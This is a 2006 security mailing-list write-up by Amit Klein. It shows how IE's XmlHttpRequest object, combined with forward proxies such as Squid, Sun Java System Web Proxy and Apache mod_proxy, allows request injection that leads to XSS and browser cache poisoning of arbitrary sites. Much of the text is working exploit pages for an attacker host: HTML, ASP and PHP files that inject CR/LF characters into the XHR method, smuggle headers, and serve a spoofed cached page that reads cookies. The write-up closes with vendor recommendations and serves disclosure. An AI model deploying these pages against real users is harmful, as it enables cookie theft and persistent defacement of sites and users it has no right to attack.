<<< Date Index >>>     <<< Thread Index >>>

Write-up by Amit Klein: "IE + some popular forward proxy servers = XSS, defacement (browser cache poisoning)"



   IE + some popular forward proxy servers = XSS, defacement 
                (browser cache poisoning)

                           Or

     "Exploiting the XmlHttpRequest object in IE" part II

                   Amit Klein, May 2006


Preface
=======

When I published my Exploiting the XmlHttpRequest object in IE - 
Referrer spoofing and a lot more..." [1] paper, I only mentioned 
an important attack vector in 1-2 sentences. To quote: "This may 
enable the attacker to conduct various cross-domain attacks 
(XSS), and this is in fact demonstrated for Firefox in [4] (but I 
haven't tested it on IE)."

Well, finally I found the time to demonstrate this vector on IE, 
with several popular forward proxy servers. The results are quite 
powerful, and indicate that the vulnerability is more serious 
than perhaps realized earlier.


Introduction
============

In this write-up, I demonstrate how the security issue discussed 
in [1] can be exploited to force an XSS condition and/or a 
browser cache poisoning condition in IE 6.0 SP2, provided it is 
configured to use a forward proxy server (the attack was verified 
on Squid 2.5.STABLE10-NT, Apache/2.0.55 mod_proxy and Sun Java 
System Web Proxy Server 4.0 [AKA SunONE proxy 4.0]) but I believe 
it would practically work on almost all forward proxy servers, 
possibly up to some tweaking in the exploitation code).

The root cause is the fact that 2 requests can be injected via 
the XmlHttpRequest object (henceforth XHR; a key component of the 
AJAX technology), coupled with the fact that IE sends requests 
for different hosts on the same TCP connection when it uses a 
forward proxy server.

The attack idea is simple: the user visits the malicious website, 
and it, using an XHR object, injects 2 requests (where the 
browser thinks only one request is present) through the proxy 
server, to the malicious website. The proxy sends back 2 
responses, the browser consumes one for the XHR object, and then 
the malicious Javascript code forces the browser to send another 
request (to the target website). This request is then matched to 
the 2nd response (queued at the browser response queue), and thus 
we have the XSS condition and the browser cache poisoning 
condition (which is effectively a "local defacement", at the 
browser level).

The XSS vector was in fact outlined by Yutaka Oiwa for FireFox 
1.0.6 in [2] - and that advisory was also originally referenced 
in [1], yet it is unclear whether Yutaka Oiwa actually lab-tested 
this particular XSS (and browser cache poisoning) attack.

Please note: this is not a new vulnerability per-se; the basic 
exploitation was discussed in [1] (and in [2] for FireFox) almost 
8 months ago. And the basic flaw in IE's implementation of XHR 
was discussed in [3] over THREE years ago. This is merely a 
demonstration of possible outcomes (=attack vectors). Yet I think 
that their gravity justifies this write-up.

Also note that for brevity's sake, I don't discuss other vectors, 
such as stealing credentials (including basic HTTP authentication 
credentials and HttpOnly cookies). That vector was also mentioned 
in [2] (for FireFox).


The basic scenario - demonstrated with Squid 2.5.STABLE10-NT
============================================================

In essence, the attack comprises of setting up a malicious server 
(www.evil.site) with 3 pages (http://www.evil.site/1.html, 
http://www.evil.site/2.html and http://www.evil.site/3.html). In 
this case, the pages are pure, static HTML pages. The pages will 
be detailed below; the victim (IE user) is handed a link to the 
first page, i.e. http://www.evil.site/1.html. Upon clicking this 
link, an XSS condition is incurred, as well as a local 
defacement, to the website URL embedded in 
http://www.evil.site/1.html (in this paper's example, it's 
http://www.target.site/). As can be appreciated, this has serious 
implications on www.target.site - while this site can be totally 
secure, still there's an XSS condition enabling the attacker to 
steal credentials, etc. Moreover, the browser caches the spoofed 
www.target.site page, so every subsequent access to 
http://www.target.site/ by this IE user results in displaying the 
spoofed page.

Here are the 3 pages needed:

http://www.evil.site/1.html:

  <html>
  <body>
  <script>
  var x = new ActiveXObject("Microsoft.XMLHTTP");
  
x.open("GET\thttp://www.evil.site/2.html\tHTTP/1.1\r\nHost:\twww.evil.site\r\nProxy-
Connection:\tKeep-Alive\r\n\r\nGET","/3.html",false);
  x.send();
  window.open("http://www.target.site/";);
  </script>
  </body>
  </html>

http://www.evil.site/2.html:

  <html>
  <body>
  foo
  </body>
  </html>

http://www.evil.site/3.html:

  <html>
  <head>
  <meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
  <meta http-equiv="Cache-Control" content="public">
  <meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
  </head>
  <body>
  <script>
  alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
  </script>
  </body>
  </html>

Notice the Proxy-Connection: Keep-Alive header inserted to the 
request stream in 1.html - for some reason, Squid does not 
maintain HTTP connection persistence unless this header is 
provided in the request (even when the request is in HTTP/1.1). 

The attack flow is as following: 
1. The browser loads 1.html, invokes the XHR object, and sends 
   what it thinks is a single request (with weird method, to 
   http://www.evil.site/3.html). This stream is sent to Squid. 
2. Squid parses the stream, sees the first HTTP request - to 
   http://www.evil.site/2.html. It serves this request, which 
   is a dummy page.
3. Squid then sees the second HTTP request in the stream, this 
   time to http://www.evil.site/3.html. It serves this request 
   as well. 
4. The browser reads the first request from the response 
   stream. It is the content of http://www.evil.site/2.html, 
   which the browser matches to the XHR object request.
5. The browser then proceeds with the Javascript execution in 
   1.html, and it sends a request to http://www.target.site/. 
   This is immediately matched to the second proxy response, 
   i.e. to the content of http://www.evil.site/3.html. Thus, 
   http://www.evil.site/3.html is considered by the browser to 
   be http://www.target.site/, with XSS condition and browser 
   cache poisoning condition as a consequence.

Regarding the various cache related headers in 
http://www.evil.site/3.html, and regarding the longevity of the 
browser cache poisoning (local defacement) attack, see [6].


Sun Java System Web Proxy Server 4.0
====================================

Basically the exploit for Sun Java System Web Proxy Server 4.0 is 
very similar to the one used for Squid. The only differences are 
that Java System Web Proxy Server 4.0 does not support HTTP 
connection persistence for HTTP/1.0 requests, and it doesn't need 
the Proxy-Connection: Keep-Alive header for HTTP/1.1 requests. So 
this can be safely removed from 1.html (but can just as well be 
kept there).

A more problematic aspect of Sun Java System Web Proxy Server 4.0 
is the fact that it doesn't send the Proxy-Connection: Keep-Alive 
header in the response. This makes IE believe that the proxy 
wants to terminate the connection (IE, after all, assumes that 
the connection is HTTP/1.0, whose default is to close the 
connection). One can overcome this by forcing this header with 
the pages sent out, i.e. with 2.html and 3.html. This is a simple 
matter of replacing 2.html and 3.html with dynamic pages (e.g. 
ASP, PHP, etc.) that add "Proxy-Connection: Keep-Alive" to the 
response headers.

The exploit would be as following (assuming ASP):

http://www.evil.site/1.html:

  <html>
  <body>
  <script>
  var x = new ActiveXObject("Microsoft.XMLHTTP");
  
x.open("GET\thttp://www.evil.site/2.asp\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp:
//www.evil.site/3.asp\tHTTP/1.1\r\nFoo:","bar",false);
  x.send();
  window.open("http://www.target.site/";);
  </script>
  </body>
  </html>

http://www.evil.site/2.asp:
  <%
  Response.addHeader "Proxy-Connection","Keep-Alive"
  %>
  <html>
  <body>
  foo
  </body>
  </html>

http://www.evil.site/3.asp:

  <%
  Response.addHeader "Proxy-Connection","Keep-Alive"
  %>
  <html>
  <head>
  <meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
  <meta http-equiv="Cache-Control" content="public">
  <meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00 GMT">
  </head>
  <body>
  <script>
  alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
  </script>
  </body>
  </html>

Obviously, ASP is not essential for this attack, it can be 
realized with any method that can add the Proxy-Connection: Keep-
Alive to the response headers of the second and third pages.

The above attack outline was indeed verified with Sun Java System 
Web Proxy Server 4.0.
 

A more complex scenario - Apache/2.0.55 mod_proxy
=================================================

Apache/2.0.55 mod_proxy is somewhat similar to Sun Java System 
Web Proxy Server 4.0 in that it doesn't send out Proxy-
Connection: Keep-Alive. Also for some reason, it seems that 
Apache/2.0.55 is faster than Sun Java System Web Proxy Server 4.0 
and Squid 2.5, and thus the second response (to 2.html) appears 
in the end of the 1024 bytes buffer read by IE with the first 
response (for a detailed discussion of how IE handles the 
response stream, please refer to [4]). This means we need to pad 
3.html to a buffer boundary, taking into consideration all the 
response for 2.html as well.

The only thing left is to force Apache mod_proxy to send out 
Proxy-Connection: Keep-Alive header. This turns out to be not 
quite trivial. Just sending this header as part of the response 
from www.evil.site (as shown above with Sun Java System Web Proxy 
Server 4.0) is not enough - Apache mod_proxy actively strips out 
this header. A more sophisticated approach should be taken, 
calling to aid the techniques developed in [5]. The solution is 
to arrange for the response from www.evil.site to include a 
header sequence with a CR instead of CRLF:

  Foo: bar CR Proxy-Connection: Keep-Alive 

Thereby arriving at the desired scenario: Apache mod_proxy 
understands this as a Foo header, thus not stripping it away, 
while IE understands this as two headers - Foo: bar and Proxy-
Connection: Keep-Alive. 

With PHP, this can be realized as following:

  <?php
  header("Foo: bar\rProxy-Connection: Keep-Alive");
  ?>
  <html>
  <body>
  foo
  </body>
  </html>

Of course, as recommended in [5], PHP shouldn't be allowed to 
inject CR in the header function, but this is immaterial - 
remember that www.evil.site is fully controlled by the attacker, 
and this functionality can be implemented in Perl, or even via a 
customized web server.

This is enough for the XSS condition, but not for browser cache 
defacement. That's due to the fact that there is no Proxy-
Connection: Keep-Alive in the response to 
http://www.target.site/, and again, IE waits until the connection 
is terminated. It seems that this prevents IE from caching the 
resource. Overcoming that is a simple matter of adding this 
header to 3.html.

The working exploit is, therefore:

http://www.evil.site/1.html:

  <html>
  <body>
  <script>
  var x = new ActiveXObject("Microsoft.XMLHTTP");
  
x.open("GET\thttp://www.evil.site/2.php\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp:
//www.evil.site/3.html\tHTTP/1.1\r\nFoo:","/bar",false);
  x.send();
  window.open("http://www.target.site/";);
  </script>
  </body>
  </html>

http://www.evil.site/2.php: 

  <?php
  header("Foo: bar\rProxy-Connection: Keep-Alive");
  ?>
  <html>
  <body>
  foo
  </body>
  </html>

http://www.evil.site/3.html:
  [padding to 1024 bytes including the response to the previous 
   request]
  HTTP/1.1 200 OK
  Content-Length: 114
  Content-Type: text/html
  Cache-Control: public
  Expires: Wed, 01 Jan 2020 00:00:00 GMT
  Last-Modified: Wed, 17 May 2006 00:00:00 GMT
  Proxy-Connection: Keep-Alive

  <html>
  <body>
  <script>
  alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
  </script>
  </body>
  </html>

The above attack outline was indeed verified with Apache 2.0.55 
mod_proxy.


Recommendations
===============

Mostly quoted almost as-is from [1]:

Site owners
-----------

- Use SSL (as always).

Vendors
-------

- Microsoft is encouraged to filter HT, CR and LF in the method 
  parameter of XHR (HT filtering was recommended in [3] over 3 
  years ago). Other browser vendors are encouraged to check whether 
  their implementation is vulnerable.

- Proxy server vendors are encouraged not to allow raw HT in 
  the request line.

- Microsoft (and other HTTP client vendors - browsers and proxy 
  servers alike) is encouraged not to share a single TCP connection 
  to the server for requests to different hosts when IE uses a 
  forward proxy server.


Summary
=======

While this is not a new vulnerability, and in some sense not even 
a new attack vector, the net effect demonstrated here is 
disturbing to say the least: IE with the latest service pack, 
when used with many popular forward proxy servers (which is, I 
believe, quite a common scenario - think corporate America, 
universities, some ISPs), is vulnerable to XSS (regardless of the 
target website) and "local defacement". 


References
==========

[1] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing,
    and a lot more...", Amit Klein, September 2005
    http://www.securityfocus.com/archive/1/411585

[2] "setRequestHeader can be exploited using newline characters", 
    Bugzilla bug 297078
    https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c12  (Yutaka
    Oiwa's advisory)

[3] "XS(T) attack variants which in some cases, eliminate the 
    need for TRACE", Amit Klein, WebAppSec mailing list submission, 
    January 26th, 2003
    http://www.securityfocus.com/archive/107/308433

[4] "Divide and Conquer - HTTP Response Splitting, Web Cache 
    poisoning and Related Topics", Amit Klein, March 2004
    
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[5] "HTTP Response Smuggling", Amit Klein, March 2006
    http://www.securityfocus.com/archive/1/425593

[6] "Domain Contamination", Amit Klein, February 2006
    http://www.webappsec.org/projects/articles/020606.txt